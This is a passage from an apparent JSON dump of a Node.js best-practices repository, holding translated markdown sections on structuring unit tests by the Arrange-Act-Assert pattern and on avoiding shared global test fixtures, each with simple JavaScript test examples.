    "content": "# Egitura probak AAA ereduaren arabera\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nProbak egiterakoan daukagun erronka handiena memoriako espazio falta da, dagoeneko ekoizpen kodeak oso lanpetuta gauzka. Horregatik, proben kodeak sinplea eta ulergarria izan behar du. Probak irakurtzean, ez luke eman beharko kode inperatiboa irakurtzen ari zarela (begiztak, oinordetza), HTML moduan, esperientzia deklaratibo bat baizik. Hori lortzeko, erabili AAA eredua, irakurtzaileek probaren asmoa esfortzu gabe uler dezaten. Badaude hori bezalako beste eredu batzuk ere, adibidez: XUnit 'Prestatu, Aritu, Egiaztatu eta Eraitsi' ('Setup, Excercise, Verify, Teardown'). Hauek dira hiru Ak:\r\n\r\nLehenengo A, prestatu: hau da, prestatu kodea probak simulatu nahi duen egoeran jartzeko sistema. Horrek, besteak beste, eraikitzailearen unitate proba egitea eska lezake, datu basean erregistroak gehitzea, objektuen  mock-ak/stub-ak eta beste edozein prestakuntza kode eranstea\r\n\r\nBigarren A, jokatu: exekutatu zure unitate proba. Normalean kode ilara bat izaten da\r\n\r\nHirugarren A, baieztatu: ziurtatu jasotako balioak espero ziren modukoak direla. Normalean kode ilara bat izaten da\r\n<br/><br/>\r\n\r\n### Kode adibidea: AAA ereduaz egituratutako proba bat\r\n\r\n```javascript\r\ndescribe.skip(\"Bezero klasifikatzailea\", () => {\r\n  test(\"Bezeroak 500$ baino gehiago gastatzen dituenean, premium gisa klasifikatua izan behar da\", () => {\r\n    //Prestatu\r\n    const klasifikatzekoBezeroa = { gastatuak: 505, sortua: new Date(), id: 1 };\r\n    const DBAntzeratua = sinon\r\n      .stub(dataAccess, \"berreskuratuBezeroa\")\r\n      .reply({ id: 1, klasifikazioa: \"arrunta\" });\r\n\r\n    //Jokatu\r\n    const jasotakoKlasifikazioa = bezeroKlasifikatzailea.klasifikatuBezeroa(\r\n      klasifikatzekoBezeroa\r\n    );\r\n\r\n    //Baieztatu\r\n    expect(jasotakoKlasifikazioa).toMatch(\"premium\");\r\n  });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Kode adibidea, anti eredua: bereizketarik ez, bloke bakarra, ulertzeko zailagoa\r\n\r\n```javascript\r\ntest(\"Premium gisa klasifikatua izan beharko litzateke\", () => {\r\n  const klasifikatzekoBezeroa = { gastatuak: 505, sortua: new Date(), id: 1 };\r\n  const DBAntzeratua = sinon\r\n    .stub(dataAccess, \"berreskuratuBezeroa\")\r\n    .reply({ id: 1, klasifikazioa: \"arrunta\" });\r\n  const jasotakoKlasifikazioa = bezeroKlasifikatzailea.klasifikatuBezeroa(\r\n    klasifikatzekoBezeroa\r\n  );\r\n  expect(jasotakoKlasifikazioa).toMatch(\"premium\");\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### \"Erabili 6 zati proba bakoitzean\"\r\n\r\n[\"30 Node.jsren proba jarraibide egokiak\" blogetik hartua, Yoni Goldbergen eskutik](https://medium.com/@me_37286/yoni-goldberg-javascript-nodejs-testing-best-practices-2b98924c9347)\r\n\r\n![Proba txostenaren adibidea](../../assets/images/6-parts-in-test.jpg \"Proba txostenaren adibidea\")\r\n\r\n<br/><br/>\r\n\r\n### \"Garrantzitsua da proba irakurtzen duen pertsonarentzat, probak zein jokaera egiaztatzen duen errez jakitea\"\r\n\r\n[XUnit Patterns](http://xunitpatterns.com/Four%20Phase%20Test.html) liburutik:\r\n\r\n> Garrantzitsua da proba irakurtzen duen pertsonarentzat, proba zein jokaera egiaztatzen ari den azkar jakiteko gai izatea. Oso nahasgarria izan daiteke jokaera ugari probaren barruan (SUT) deituak izatea, batzuk SUTaren proba aurreko egoera prestatzeko (instalazioa), beste batzuk SUTa jokatzeko eta beste batzuk SUTaren proba ondorengo egoera egiaztatzeko. Lau faseak modu argian identifikatzeak probaren asmoa ikustea askoz errazago egiten dute.\r\n"
  },
  {
    "path": "sections/testingandquality/aaa.french.md",
    "content": "# Structurez vos tests avec le format AAA\n\n<br/><br/>\n\n### Un paragraphe d'explication\nNotre plus grand défi en matière de tests est la gestion de notre temps - nous avons déjà le code de production qui nous occupe beaucoup. Pour cette raison, le code de test doit rester simple et facile à comprendre. Lors de la lecture d'un cas de test - cela ne devrait pas ressembler à de la lecture essentiellement de code (boucles, héritage) mais plutôt à du HTML - une expérience déclarative. Pour y parvenir, respectez la convention AAA afin que les lecteurs analysent le test sans effort. Il existe d'autres formats similaires à ce modèle, comme XUnit 'Configuration, exécution, vérification, déconstruction'. Ce sont les trois A :\n\nLe 1er A - Arrange (Préparer) : Tout le code de configuration pour amener le système au scénario que le test a pour objectif de simuler. Cela peut inclure l'instanciation de l'unité avec le constructeur de test, l'ajout d'enregistrements dans la base de données, la simulation sur les objets et tout autre code de préparation\n\nLe 2eme A - Act (Agir) : Exécute l'unité testée. Habituellement 1 ligne de code.\n\nLe 3eme A - Assert (Vérifier) : Vérifie que la valeur reçue correspond à celle attendue. Habituellement 1 ligne de code\n\n\n<br/><br/>\n\n### Exemple de code : un test structuré avec le format AAA\n```javascript\ndescribe.skip('Classification des clients', () => {\n    test('Lorsque le client a dépensé plus de 500 $, il doit être classé comme premium', () => {\n        //Arrange (Préparer)\n        const customerToClassify = {spent:505, joined: new Date(), id:1}\n        const DBStub = sinon.stub(dataAccess, 'getCustomer')\n            .reply({id:1, classification: 'ordinaire'});\n\n        //Act (Agir)\n        const receivedClassification = customerClassifier.classifyCustomer(customerToClassify);\n\n        //Assert (Vérifier)\n        expect(receivedClassification).toMatch('premium');\n    });\n});\n```\n\n<br/><br/>\n\n### Contre exemple de code : aucune séparation, un seul bloc, plus difficile à interpréter\n```javascript\ntest('Doit être classé comme premium', () => {\n    const customerToClassify = {spent:505, joined: new Date(), id:1}\n    const DBStub = sinon.stub(dataAccess, 'getCustomer')\n        .reply({id:1, classification: 'regular'});\n    const receivedClassification = customerClassifier.classifyCustomer(customerToClassify);\n    expect(receivedClassification).toMatch('premium');\n});\n```\n\n<br/><br/>\n\n###  « Incluez 6 parties dans chaque test »\n\n [Extrait du blog « 30 bonnes pratiques de test avec Node.js » par Yoni Goldberg](https://medium.com/@me_37286/yoni-goldberg-javascript-nodejs-testing-best-practices-2b98924c9347)\n\n ![Un exemple de rapport de test](../../assets/images/6-parts-in-test.jpg \"Un exemple de rapport de test\")\n\n<br/><br/>\n\n### « Il est important que le lecteur du test soit capable de déterminer rapidement quel comportement le test vérifie »\nExtrait du livre [XUnit Patterns](http://xunitpatterns.com/Four%20Phase%20Test.html):\n\n> Il est important que le lecteur du test soit capable de déterminer rapidement quel comportement le test vérifie. Cela peut être très déroutant lorsque diverses portions du « système en test » (SUT : system under test) sont invoquées, certaines pour configurer l'état avant le test (fixture) du SUT, d'autres pour exécuter le SUT et d'autres pour vérifier l'état après le test du SUT. L'identification claire des quatre phases facilite la vision du test.\n\n<br/><br/>\n\n### « Une technique utile [...] est que l'écriture de l'`Assert` en premier est un excellent point de départ. »\nExtrait de l'article [Arrange, Act, Assert](https://xp123.com/articles/3a-arrange-act-assert/) par Bill Wake qui a été le premier à observer et à nommer le format\n\n> **Par où commencer ?**\n>\n> Vous pourriez penser que le `Arrange` est la chose naturelle à écrire en premier, puisqu'il vient en premier.\n> Lorsque je travaille systématiquement sur les comportements d'un objet, je peux écrire la ligne `Act` en premier. \n>\n> Mais une technique utile que j'ai apprise de Jim Newkirk, c'est d'écrire l'`Assert` en premier, car c'est un excellent point de départ. Lorsque vous avez un nouveau comportement que vous savez vouloir tester, l'`Assert` en premier vous permet de commencer par vous interroger : « Supposons que cela fonctionne ; comment pourrais-je le savoir ». Une fois l'`Assert` en place, vous pouvez faire ce que la logique industrielle appelle \"Frame First\" et vous vous appuyer sur l'IDE pour « remplir les blancs ».\n<br/><br/>\n\n### « Une fois que vous vous êtes habitué à ce format, vous pouvez lire et comprendre les tests plus facilement »\nExtrait du livre [Tests unitaires, principes, pratiques et modèles](https://freecontent.manning.com/making-better-unit-tests-part-1-the-aaa-pattern/)\n> Le format 3A est simple et fournit une structure uniforme pour tous les tests de la suite. Cette structure uniforme est l'un de ses plus grands avantages : une fois que vous vous êtes habitué à ce format, vous pouvez lire et comprendre les tests plus facilement. Cela permet de réduire les coûts de maintenance de l'ensemble de votre suite de tests.\n"
  },
  {
    "path": "sections/testingandquality/aaa.japanese.md",
    "content": "# AAA パターンを用いてテストを構成する\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\nテストにおける最大の課題は、私たちの頭の容量不足です ー 既存のプロダクションコードで、私たちはすでに手一杯なのです。そのため、テストコードは非常にシンプルで、理解しやすいものでなければなりません。テストケースを読んでいるときは、命令的なコード（ループ、継承）を読むような感じではなく、むしろ HTML のように、宣言的なコードを読むような感覚を持つべきです。これを実現するには、コードを読む人がテストの意図を楽に汲み取れるように、AAA という慣習を守ってください。このパターンに似た形式として、XUnit の 'Setup, Excercise, Verify, Teardown' のようなものがあります。3 つの A は次の通りです:\r\n\r\n1 つ目のA - Arrange（アレンジ）: テストがシミュレートするシナリオにシステムの環境を設定するための、すべてのセットアップコードです。これには、テストコンストラクタ対象ユニットのインスタンス化、DB レコードの追加、オブジェクトのモック／スタブ、その他準備のためのコードが含まれるかもしれません。\r\n\r\n2 つ目のA - Act（アクト）: テスト対象のユニットを実行します。通常、1 行のコードです。\r\n\r\n3 つ目のA - Assert（アサート）: 得た値が期待する条件を満たすことを確認します。通常、1 行のコードです。\r\n\r\n<br/><br/>\r\n\r\n### コード例: AAA パターンで構成されたテスト\r\n```javascript\r\ndescribe.skip('Customer classifier', () => {\r\n    test('When customer spent more than 500$, should be classified as premium', () => {\r\n        //Arrange\r\n        const customerToClassify = {spent:505, joined: new Date(), id:1}\r\n        const DBStub = sinon.stub(dataAccess, 'getCustomer')\r\n            .reply({id:1, classification: 'regular'});\r\n\r\n        //Act\r\n        const receivedClassification = customerClassifier.classifyCustomer(customerToClassify);\r\n\r\n        //Assert\r\n        expect(receivedClassification).toMatch('premium');\r\n    });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### コード例 – アンチパターン: 分割無し、一塊の、解釈の難しいコード\r\n```javascript\r\ntest('Should be classified as premium', () => {\r\n        const customerToClassify = {spent:505, joined: new Date(), id:1}\r\n        const DBStub = sinon.stub(dataAccess, 'getCustomer')\r\n            .reply({id:1, classification: 'regular'});\r\n        const receivedClassification = customerClassifier.classifyCustomer(customerToClassify);\r\n        expect(receivedClassification).toMatch('premium');\r\n    });\r\n```\r\n\r\n<br/><br/>\r\n\r\n###  \"Include 6 parts in each test\"（各テストに 6 つの要素を含めましょう）\r\n\r\n [Yoni Goldberg によるブログ \"30 Node.js testing best practices\"](https://medium.com/@me_37286/yoni-goldberg-javascript-nodejs-testing-best-practices-2b98924c9347)\r\n\r\n ![テストレポートの例](../../assets/images/6-parts-in-test.jpg \"テストレポートの例\")\r\n\r\n<br/><br/>\r\n\r\n### \"It is important for the test reader to be able to quickly determine what behavior the test is verifying\"（テストコード読者にとって重要なことは、テストがどんな挙動を検証しているのかすぐに判断できることです）\r\n書籍 [XUnit Patterns](http://xunitpatterns.com/Four%20Phase%20Test.html) より:\r\n\r\n> テストコード読者にとって重要なことは、テストがどんな挙動を検証しているのかすぐに判断できることです。様々なテスト対象システム（the system under unit, SUT）の挙動が呼び出されると、非常に複雑になります。あるものは SUT のプレテスト状態（フィクスチャー）をセットアップし、またあるものは SUT を動かし、さらには SUT のポストテスト状態を検証したりする状況です。4 つのフェーズを明確に識別することで、テストの意図がよりわかりやすくなります。\r\n"
  },
  {
    "path": "sections/testingandquality/aaa.md",
    "content": "# Structure tests by the AAA pattern\n\n<br/><br/>\n\n### One Paragraph Explainer\nOur biggest testing challenge is the lack of headspace - we already have the production code keeping us super-busy. For this reason the testing code must stay dead-simple and easy to understand. When reading a test case - it shouldn't feel like reading imperative code (loops, inheritance) rather more like HTML - a declarative experience. To achieve this, keep the AAA convention so the readers' mind will parse the test intent effortlessly. There are some other similar formats to this pattern, like XUnit 'Setup, Exercise, Verify, Teardown'. These are the three A:\n\nThe 1st A - Arrange: All the setup code to bring the system to the scenario the test aims to simulate. This might include instantiating the unit under test constructor, adding DB records, mocking/stubbing on objects and any other preparation code\n\nThe 2nd A - Act: Execute the unit under test. Usually 1 line of code\n\nThe 3rd A - Assert: Ensure that the received value satisfies the expectation. Usually 1 line of code\n\n\n<br/><br/>\n\n### Code example: a test structured with the AAA pattern\n```javascript\ndescribe.skip('Customer classifier', () => {\n    test('When customer spent more than 500$, should be classified as premium', () => {\n        //Arrange\n        const customerToClassify = {spent:505, joined: new Date(), id:1}\n        const DBStub = sinon.stub(dataAccess, 'getCustomer')\n            .reply({id:1, classification: 'regular'});\n\n        //Act\n        const receivedClassification = customerClassifier.classifyCustomer(customerToClassify);\n\n        //Assert\n        expect(receivedClassification).toMatch('premium');\n    });\n});\n```\n\n<br/><br/>\n\n### Code Example – Anti Pattern: no separation, one bulk, harder to interpret\n```javascript\ntest('Should be classified as premium', () => {\n    const customerToClassify = {spent:505, joined: new Date(), id:1}\n    const DBStub = sinon.stub(dataAccess, 'getCustomer')\n        .reply({id:1, classification: 'regular'});\n    const receivedClassification = customerClassifier.classifyCustomer(customerToClassify);\n    expect(receivedClassification).toMatch('premium');\n});\n```\n\n<br/><br/>\n\n###  \"Include 6 parts in each test\"\n\n [From the blog \"30 Node.js testing best practices\" by Yoni Goldberg](https://medium.com/@me_37286/yoni-goldberg-javascript-nodejs-testing-best-practices-2b98924c9347)\n\n ![A test report example](../../assets/images/6-parts-in-test.jpg \"A test report example\")\n\n<br/><br/>\n\n### \"It is important for the test reader to be able to quickly determine what behavior the test is verifying\"\nFrom the book [XUnit Patterns](http://xunitpatterns.com/Four%20Phase%20Test.html):\n\n> It is important for the test reader to be able to quickly determine what behavior the test is verifying. It can be very confusing when various behaviors of the system under test (SUT) are being invoked, some to set up the pre-test state (fixture) of the SUT, others to exercise the SUT and yet others to verify the post-test state of the SUT. Clearly identifying the four phases makes the intent of the test much easier to see.\n\n<br/><br/>\n\n### \"A useful technique [...] is that writing the Assert first is a great place to start.\"\nFrom the article [Arrange, Act, Assert](https://xp123.com/articles/3a-arrange-act-assert/) by Bill Wake which first observed and named the pattern\n\n> **Where to Begin?**\n>\n> You might think that the Arrange is the natural thing to write first, since it comes first.\nWhen I’m systematically working through an object’s behaviors, I may write the Act line first. \n>\n> But a useful technique I learned from Jim Newkirk is that writing the Assert first is a great place to start. When you have a new behavior you know you want to test, Assert First lets you start by asking “Suppose it worked; how would I be able to tell?” With the Assert in place, you can do what Industrial Logic calls “Frame First” and lean on the IDE to “fill in the blanks.” \n\n<br/><br/>\n\n### \"Once you get used to this pattern, you can read and understand the tests more easily\"\nFrom the book [Unit Testing, Principles, Practices, and Patterns](https://freecontent.manning.com/making-better-unit-tests-part-1-the-aaa-pattern/)\n> The 3A pattern is simple and provides a uniform structure for all tests in the suite. This uniform structure is one of its biggest advantages: once you get used to this pattern, you can read and understand the tests more easily. That, in turn, reduces the maintenance cost for your entire test suite.\n"
  },
  {
    "path": "sections/testingandquality/aaa.polish.md",
    "content": "# Testy struktury według wzorca AAA\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\nNaszym największym wyzwaniem do testowania jest brak przestrzeni nad głową - już mamy kod produkcyjny, który sprawia, że jesteśmy bardzo zajęci. Z tego powodu kod testowy musi pozostać śmiertelnie prosty i łatwy do zrozumienia. Podczas czytania przypadku testowego - nie powinno to przypominać czytania kodu imperatywnego (pętli, dziedziczenia), a raczej HTML - deklaratywne doświadczenie. Aby to osiągnąć, zachowaj konwencję AAA, aby czytelnicy mogli bez wysiłku przeanalizować cel testu. Istnieją inne podobne formaty tego wzorca, takie jak XUnit „Setup, Excercise, Verify, Teardown”. Oto trzy A:\n\nPierwsze A - Arrange: Cały kod instalacyjny, aby wprowadzić system do scenariusza, który test ma na celu symulację. Może to obejmować tworzenie instancji testowanego konstruktora, dodawanie rekordów BD, mockowanie/stubbing obiektów i dowolny inny kod przygotowawczy\n\nDrugie A - Act: Wykonaj unit pod test. Zwykle 1 linia kodu\n\nTrzecie A - Assert: Upewnij się, że otrzymana wartość spełnia oczekiwania. Zwykle 1 linia kodu\n\n\n<br/><br/>\n\n### Przykład kodu: test o strukturze wzorca AAA\n```javascript\ndescribe.skip('Customer classifier', () => {\n    test('When customer spent more than 500$, should be classified as premium', () => {\n        //Arrange\n        const customerToClassify = {spent:505, joined: new Date(), id:1}\n        const DBStub = sinon.stub(dataAccess, 'getCustomer')\n            .reply({id:1, classification: 'regular'});\n\n        //Act\n        const receivedClassification = customerClassifier.classifyCustomer(customerToClassify);\n\n        //Assert\n        expect(receivedClassification).toMatch('premium');\n    });\n});\n```\n\n<br/><br/>\n\n### Przykład kodu - Antywzorzec: bez separacji, jedna masa, trudniejsza do interpretacji\n```javascript\ntest('Should be classified as premium', () => {\n        const customerToClassify = {spent:505, joined: new Date(), id:1}\n        const DBStub = sinon.stub(dataAccess, 'getCustomer')\n            .reply({id:1, classification: 'regular'});\n        const receivedClassification = customerClassifier.classifyCustomer(customerToClassify);\n        expect(receivedClassification).toMatch('premium');\n    });\n```\n\n<br/><br/>\n\n###  \"Uwzględnij 6 części w każdym teście\"\n\n [Z bloga \"30 Node.js testing best practices\" od Yoni Goldberg](https://medium.com/@me_37286/yoni-goldberg-javascript-nodejs-testing-best-practices-2b98924c9347)\n\n ![Przykład raportu testu](../../assets/images/6-parts-in-test.jpg \"A test report example\")\n\n<br/><br/>\n\n### \"Ważne jest, aby sprawdzający testy mógł szybko określić, jakie zachowanie weryfikuje test\"\nZ książki [XUnit Patterns](http://xunitpatterns.com/Four%20Phase%20Test.html):\n\n> It is important for the test reader to be able to quickly determine what behavior the test is verifying. It can be very confusing when various behaviors of the system under test (SUT) are being invoked, some to set up the pre-test state (fixture) of the SUT, others to exercise the SUT and yet others to verify the post-test state of the SUT. Clearly identifying the four phases makes the intent of the test much easier to see.\n"
  },
  {
    "path": "sections/testingandquality/aaa.russian.md",
    "content": "# Структурируйте тесты по шаблону AAA\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\nНашей самой большой проблемой тестирования является отсутствие свободного пространства - у нас уже есть производственный код, который заставляет нас быть очень занятыми. По этой причине тестовый код должен оставаться очень простым и легким для понимания. При чтении контрольного примера - это не должно восприниматься как чтение императивного кода (циклы, наследование), а скорее как HTML - декларативный опыт. Чтобы добиться этого, придерживайтесь соглашения AAA, чтобы читатели могли легко проанализировать тест. В этом шаблоне есть и другие похожие форматы, такие как XUnit \"Setup, Excercise, Verify, Teardown\". Это три А:\r\n\r\nПервая A - Arrange: Весь код установки, чтобы привести систему к сценарию, который тест должен симулировать. Это может включать создание экземпляра тестируемого модуля, добавление записей БД, обертки/зацепки над объектами и любой другой подготовительный код.\r\n\r\nВторая A - Act: Выполнить тестируемый модуль. Обычно 1 строка кода\r\n\r\nТретья A - Assert: убедитесь, что полученное значение соответствует ожидаемому. Обычно 1 строка кода\r\n\r\n\r\n<br/><br/>\r\n\r\n### Пример кода: тест, структурированный по шаблону AAA\r\n```javascript\r\ndescribe.skip('Customer classifier', () => {\r\n    test('When customer spent more than 500$, should be classified as premium', () => {\r\n        //Arrange\r\n        const customerToClassify = {spent:505, joined: new Date(), id:1}\r\n        const DBStub = sinon.stub(dataAccess, 'getCustomer')\r\n            .reply({id:1, classification: 'regular'});\r\n\r\n        //Act\r\n        const receivedClassification = customerClassifier.classifyCustomer(customerToClassify);\r\n\r\n        //Assert\r\n        expect(receivedClassification).toMatch('premium');\r\n    });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Пример кода - Антипаттерн: нет разделения, сплошной объем, труднее интерпретировать\r\n```javascript\r\ntest('Should be classified as premium', () => {\r\n        const customerToClassify = {spent:505, joined: new Date(), id:1}\r\n        const DBStub = sinon.stub(dataAccess, 'getCustomer')\r\n            .reply({id:1, classification: 'regular'});\r\n        const receivedClassification = customerClassifier.classifyCustomer(customerToClassify);\r\n        expect(receivedClassification).toMatch('premium');\r\n    });\r\n```\r\n\r\n<br/><br/>\r\n\r\n### \"Включите 6 частей в каждом тесте\"\r\n\r\n [From the blog \"30 Node.js testing best practices\" by Yoni Goldberg](https://medium.com/@me_37286/yoni-goldberg-javascript-nodejs-testing-best-practices-2b98924c9347)\r\n\r\n ![A test report example](../../assets/images/6-parts-in-test.jpg \"A test report example\")\r\n\r\n<br/><br/>\r\n\r\n### \"Для читателя теста важно иметь возможность быстро определить, какое поведение проверяет тест\"\r\nИз книги [XUnit Patterns](http://xunitpatterns.com/Four%20Phase%20Test.html):\r\n\r\n> Для читателя теста важно иметь возможность быстро определить, какое поведение проверяет тест. Это может быть очень запутанным, когда вызываются различные варианты поведения тестируемой системы (SUT), некоторые для настройки предтестового состояния (фиксатора) SUT, другие для проверки SUT и третьи для проверки пост-теста состояние СУТ. Четкое определение четырех фаз значительно облегчает понимание цели теста.\r\n"
  },
  {
    "path": "sections/testingandquality/avoid-global-test-fixture.basque.md",
    "content": "# Saihestu datu globalak, gehitu datuak proba bakoitzeko\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nUrrezko proba arauari jarraituz egin proben kasu sinpleak: proba bakoitzak bere datu baseko ilarak sortu eta erabili behar ditu menpekotasunak ekiditeko eta probaren fluxua ondo ulertzeko. Egia esan, garatzaileek askotan urratzen dute hori, datu baseak betez probak exekutatu aurretik (‘test instalazioa‘ bezala ere ezagutuak), errendimendua hobetzeko xedearekin. Errendimendua gai garrantzitsua izan arren, arindua izan daiteke (adibidez, begiratu Memoria Datu Baseak \"Osagarrien probak\" atalean), baina proben konplexutasuna da buruko min asko ematen dituen gai, kontutan hartu beharrekoa. Praktikan, sortu proben kasu bakoitza berariaz datu basean beharrezko informazioa gehitzeko eta jokatu bakarrik datu horiekin. Errendimendua arazo larria bihurtzen bada, adostasun orekatua aurki daiteke soilik datuak gehituko dituen proba bat idatziz eta ondoren hori bikoiztuz beste probentzat (adibidez queries)\r\n\r\n<br/><br/>\r\n\r\n### Kode adibidea: proba bakoitzak bere datu multzoarekin bakarrik egiten du lan\r\n\r\n```javascript\r\nit(\"Webgune baten izena eguneratzerakoan, baieztapen arrakastatsua izan\", async () => {\r\n  // probak datu berriak gehitzen ditu eta horiek bakarrik ikutzen ditu\r\n  const probapeanDagoenWebgunea = await WebguneZerbitzua.webguneaGehitu({\r\n    izena: \"webgunearenEguneraketarenProba\",\r\n  });\r\n  const izenEguneraketarenEmaitza = await WebguneZerbitzua.izenaAldatu(\r\n    probapeanDagoenWebgunea,\r\n    \"izenBerria\"\r\n  );\r\n  expect(izenEguneraketarenEmaitza).to.be(true);\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Anti ereduaren kode adibidea: probak ez dira independenteak eta aurrez konfiguratutako datuak daudela suposatzen dute\r\n\r\n```javascript\r\nbefore(() => {\r\n  //webguneak eta admnistrariak gehitu gure datu-basean. Non daude datuak? kanpoan. Kanpo jsonen edo migrazio frameworken batean\r\n  await DB.GehituDatuakJsonIturritik('iturria.json');\r\n});\r\nit('Webgune baten izena eguneratzerakoan, baieztapen arrakastatsua izan', async () => {\r\n  //Badakit 'portal' webgune izena existitzen dela, iturri fitxategietan ikusi dut\r\n  const eguneratzekoWebgunea = await WebguneZerbitzua.berreskuratuWebgunearenIzena('Portal');\r\n  const izenEguneraketarenEmaitza = await WebguneZerbitzua.izenaAldatu(eguneratzekoWebgunea, 'izenBerria');\r\n  expect(izenEguneraketarenEmaitza).to.be(true);\r\n});\r\nit('Webgune izena erabiliaz eskaera egitean, webgune zuzena berreskuratu', async () => {\r\n  //Badakit 'portal' webgune izena existitzen dela, iturri fitxategietan ikusi dut\r\n  const egiaztatzekoWebgunea = await WebguneZerbitzua.berreskuratuWebguneaIzenarenBidez('Portal');\r\n  expect(egiaztatzekoWebgunea.izena).to.be.equal('Portal'); //Huts egitea! Aurreko probak izena aldatu du :[\r\n});\r\n```\r\n"
  },
  {
    "path": "sections/testingandquality/avoid-global-test-fixture.brazilian-portuguese.md",
    "content": "# Evite dados fixos e sementes para teste, adicione os dados no teste\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\n Seguindo a regra de ouro de testes - manter os casos de teste totalmente simples, cada teste deve adicionar e agir em seu próprio conjunto de linhas de banco de dados para evitar o acoplamento e facilitar o entendimento do fluxo do teste. Na realidade, isso é frequentemente violado por testadores que semeiam o banco de dados com os dados antes de executar os testes (também conhecidos como 'dispositivo de teste') para melhorar o desempenho. Embora o desempenho seja de fato uma preocupação válida - ele pode ser mitigado (por exemplo, BD In-memory, consulte “Teste de Componente”), no entanto, a complexidade do teste é muito dolorosa e deve governar outras considerações. Na prática, faça com que cada caso de teste inclua explicitamente os registros de banco de dados necessários e atue apenas nesses registros. Se o desempenho se torna uma preocupação crítica - um compromisso equilibrado pode vir na forma de semear o único conjunto de testes que não estão alterando dados (por exemplo, consultas)\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de código: cada teste atua em seu próprio conjunto de dados\r\n```javascript\r\nit(\"Ao atualizar o nome do site, obtenha confirmação de sucesso\", async () => {\r\n  //teste está adicionando novos registros e atuando apenas nos registros\r\n  const siteUnderTest = await SiteService.addSite({\r\n    name: \"siteForUpdateTest\"\r\n  });\r\n  const updateNameResult = await SiteService.changeName(siteUnderTest, \"newName\");\r\n  expect(updateNameResult).to.be(true);\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de Código - Anti-Padrão: os testes não são independentes e assumem a existência de alguns dados pré-configurados\r\n```javascript\r\nbefore(() => {\r\n  //adicionando sites e dados de administradores ao nosso banco de dados. Onde estão os dados? lado de fora. Em algum json externo ou estrutura de migração\r\n  await DB.AddSeedDataFromJson('seed.json');\r\n});\r\nit(\"Ao atualizar o nome do site, obtenha confirmação de sucesso\", async () => {\r\n  //Eu sei que o nome do site \"portal\" existe - eu vi nos arquivos de semente\r\n  const siteToUpdate = await SiteService.getSiteByName(\"Portal\");\r\n  const updateNameResult = await SiteService.changeName(siteToUpdate, \"newName\");\r\n  expect(updateNameResult).to.be(true);\r\n});\r\nit(\"Ao consultar pelo nome do site, obtenha o site correto\", async () => {\r\n  //Eu sei que o nome do site \"portal\" existe - eu vi nos arquivos de semente\r\n  const siteToCheck = await SiteService.getSiteByName(\"Portal\");\r\n  expect(siteToCheck.name).to.be.equal(\"Portal\"); //Falha! O teste anterior muda o nome :[\r\n});\r\n```"
  },
  {
    "path": "sections/testingandquality/avoid-global-test-fixture.french.md",
    "content": "# Évitez les tests globaux, ajoutez des données pour chaque test\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\n En suivant la règle d'or des tests - gardez d'une simplicité absolue les cas de test, chaque test doit ajouter et agir sur son propre ensemble d'enregistrement de la base de données pour éviter le chevauchement des tests et expliquer facilement le déroulement du test. En réalité, ceci est souvent transgressé par les testeurs qui inondent la base de données avant de lancer les tests (aussi connu sous le nom de « dispositif de test ») dans le but d'améliorer les performances. Bien que la performance soit effectivement une préoccupation valable - elle peut être atténuée (par exemple la base de données en mémoire, voir le point « Tests des composants »), la complexité des tests est toutefois un sujet très douloureux qui devrait dominer les autres préoccupations. En pratique, faites en sorte que chaque scénario de test ajoute explicitement les enregistrements à la base de données dont il a besoin et n'agisse que sur ces enregistrements. Si la performance devient une préoccupation critique - un compromis équilibré pourrait prendre la forme d'un remplissage d'une seule suite de tests qui ne mutent pas les données (par exemple, les requêtes).\n\n<br/><br/>\n\n### Exemple de code : chaque test agit sur son propre ensemble de données\n```javascript\nit('Lors de la mise à jour du nom du site, obtenez une confirmation réussie', async () => {\n  // Arrange (Préparer) - le test ajoute de nouveaux enregistrements et agit uniquement sur les enregistrements\n  const siteUnderTest = await SiteService.addSite({\n    name: 'siteForUpdateTest'\n  });\n\n  // Act (Agir)\n  const updateNameResult = await SiteService.changeName(siteUnderTest, 'newName');\n\n  // Assert (Vérifier)\n  expect(updateNameResult).to.be(true);\n});\n```\n\n<br/><br/>\n\n### Contre exemple de code : les tests ne sont pas indépendants et supposent l'existence de certaines données préconfigurées\n```javascript\nbefore(() => {\n  // ajouter des données de sites et d'administrateurs à notre base de données. Où sont les données ? à l'extérieur. Sur un json externe ou un framework de migration\n  await DB.AddSeedDataFromJson('seed.json');\n});\n\nit('Lors de la mise à jour du nom du site, obtenez une confirmation réussie', async () => {\n  // Arrange (Préparer) - Je sais que le nom du site « Portal » existe - je l'ai vu dans les fichiers de remplissage\n  const siteToUpdate = await SiteService.getSiteByName('Portal');\n\n  // Act (Agir)\n  const updateNameResult = await SiteService.changeName(siteToUpdate, 'newName');\n\n  // Assert (Vérifier)\n  expect(updateNameResult).to.be(true);\n});\n\nit('Lorsque vous interrogez par le nom du site, obtenez le bon site', async () => {\n  // Act (Agir) - Je sais que le nom de site « Portal » existe - je l'ai vu dans les fichiers de remplissage\n  const siteToCheck = await SiteService.getSiteByName('Portal');\n\n  // Assert (Vérifier)\n  expect(siteToCheck.name).to.be.equal('Portal'); // Échec ! Le test précédent change le nom :[\n});\n```"
  },
  {
    "path": "sections/testingandquality/avoid-global-test-fixture.japanese.md",
